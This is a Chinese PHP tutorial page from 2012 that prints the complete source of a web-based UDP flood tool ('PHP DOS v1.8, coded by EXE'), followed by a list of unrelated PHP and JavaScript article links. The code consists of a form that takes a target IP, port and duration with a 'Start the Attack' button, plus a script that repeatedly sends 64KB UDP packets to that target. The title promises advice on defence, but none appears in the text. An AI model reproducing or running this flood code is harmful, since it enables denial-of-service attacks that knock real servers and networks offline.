php DOS攻击实现代码(附如何防范)


Posted in PHP onMay 29, 2012

index.php

<?php 
$ip = $_SERVER['REMOTE_ADDR']; 
?> 
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> 
<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=iso-8859-1"> 
<meta name="author" content=""> 
<title>PHP DoS, Coded by EXE</title> 
</head> 
<!-- PHP DOS, coded by EXE --> 
<style type="text/css"> 
<!-- 
body { 
font-family: Arial, Helvetica, sans-serif; 
font-size: 12px; 
font-style: normal; 
line-height: normal; 
color: #FFFFFF; 
background-color: #000000; 
} 
--> 
</style> 
<!-- PHP DOS, coded by EXE --> 
<body> 
<center><br><br> 
<img src="main.jpg"><br> 
<b>Your IP:</b> <font color="red"><?php echo $ip; ?></font> (Don't DoS yourself nub)<br><br> 
<form name="input" action="function.php" method="post"> 
IP: 
<input type="text" name="ip" size="15" maxlength="15" class="main" value = "0.0.0.0" onblur = "if ( this.value=='' ) this.value = '0.0.0.0';" onfocus = " if ( this.value == '0.0.0.0' ) this.value = '';"> 
    Time: 
<input type="text" name="time" size="14" maxlength="20" class="main" value = "time (in seconds)" onblur = "if ( this.value=='' ) this.value = 'time (in seconds)';" onfocus = " if ( this.value == 'time (in seconds)' ) this.value = '';"> 
    Port: 
<input type="text" name="port" size="5" maxlength="5" class="main" value = "port" onblur = "if ( this.value=='' ) this.value = 'port';" onfocus = " if ( this.value == 'port' ) this.value = '';"> 
<br><br> 
<input type="submit" value=" Start the Attack---> "> 
<br><br> 
<center> 
After initiating the DoS attack, please wait while the browser loads. 
</center> 
</form> 
</center> 
<!-- PHP DOS, coded by EXE --> 
</body> 
</html>

function.php
<?php 
//================================================= 
//PHP DOS v1.8 (Possibly Stronger Flood Strength) 
//Coded by EXE 
//================================================= 
$packets = 0; 
$ip = $_POST['ip']; 
$rand = $_POST['port']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_POST['time']; 
$time = time(); 
print "Flooded: $ip on port $rand <br><br>"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= "X"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s \n"; 
?>
PHP 相关文章推荐
最省空间的计数器
Oct 09 PHP
自己前几天写的无限分类类
Feb 14 PHP
php zend解密软件绿色版测试可用
Apr 14 PHP
php生成zip压缩文件的方法详解
Jun 09 PHP
163的邮件用phpmailer发送(实例详解)
Jun 24 PHP
php不用正则验证真假身份证
Nov 06 PHP
php自定义的格式化时间示例代码
Dec 05 PHP
PHP MPDF中文乱码的解决方式
Dec 08 PHP
java微信开发之上传下载多媒体文件
Jun 24 PHP
PHP实现APP微信支付的实例讲解
Feb 10 PHP
PHP里的$_GET数组介绍
Mar 22 PHP
Laravel validate error处理,ajax,json示例
Oct 25 PHP
PHP fgetcsv 定义和用法(附windows与linux下兼容问题)
May 29 #PHP
PHP中将网页导出为Word文档的代码
May 25 #PHP
php在文件指定行中写入代码的方法
May 23 #PHP
php替换超长文本中的特殊字符的函数代码
May 22 #PHP
php提示undefined index的几种解决方法
May 21 #PHP
openflashchart 2.0 简单案例php版
May 21 #PHP
PHP中去掉字符串首尾空格的方法
May 19 #PHP
You might like
用PHP4访问Oracle815
2006/10/09 PHP
PHP中读取照片exif信息的方法
2014/08/20 PHP
php实现的click captcha点击验证码类实例
2014/09/23 PHP
php从文件夹随机读取文件的方法
2015/06/01 PHP
浅谈PHP中JSON数据操作
2015/07/01 PHP
jquery+php实现导出datatables插件数据到excel的方法
2015/07/06 PHP
postman的安装与使用方法(模拟Get和Post请求)
2018/08/06 PHP
php xhprof使用实例详解
2019/04/15 PHP
eval与window.eval的差别分析
2011/03/17 Javascript
javascript权威指南 学习笔记之null和undefined
2011/09/25 Javascript
jQuery实现带滚动线条导航效果的方法
2015/01/30 Javascript
jQuery鼠标经过方形图片切换成圆边效果代码分享
2015/08/20 Javascript
jquery ztree异步搜索(搜叶子)实践
2016/02/25 Javascript
jquery实现下拉框功能效果【实例代码】
2016/05/06 Javascript
JS使用正则实现去掉字符串左右空格的方法
2016/12/27 Javascript
jquery实现图片上传前本地预览
2017/04/28 jQuery
详解Angular的8个主要构造块
2017/06/20 Javascript
Vue resource中的GET与POST请求的实例代码
2017/07/21 Javascript
优雅的处理vue项目异常实战记录
2019/06/05 Javascript
实例讲解JavaScript 计时事件
2020/07/04 Javascript
[37:47]IG vs Winstrike 2018国际邀请赛小组赛BO2 第二场 8.19
2018/08/21 DOTA
关于你不想知道的所有Python3 unicode特性
2014/11/28 Python
利用Python如何实现数据驱动的接口自动化测试
2018/05/11 Python
Python实现的微信好友数据分析功能示例
2018/06/21 Python
10 行 Python 代码教你自动发送短信(不想回复工作邮件妙招)
2018/10/11 Python
Pytorch技巧:DataLoader的collate_fn参数使用详解
2020/01/08 Python
python读取图片的几种方式及图像宽和高的存储顺序
2020/02/11 Python
Python中if有多个条件处理方法
2020/02/26 Python
Python Pillow(PIL)库的用法详解
2020/09/19 Python
Python实现我的世界小游戏源代码
2021/03/02 Python
青年志愿者活动方案
2014/08/17 职场文书
解除劳动合同证明书
2014/09/26 职场文书
习总书记三严三实学习心得体会
2014/10/13 职场文书
pytorch 中nn.Dropout的使用说明
2021/05/20 Python
JavaScript中10个Reduce常用场景技巧
2022/06/21 Javascript
Win10本地连接不见了怎么恢复? win10系统电脑本地连接不见了解决方法
2023/01/09 数码科技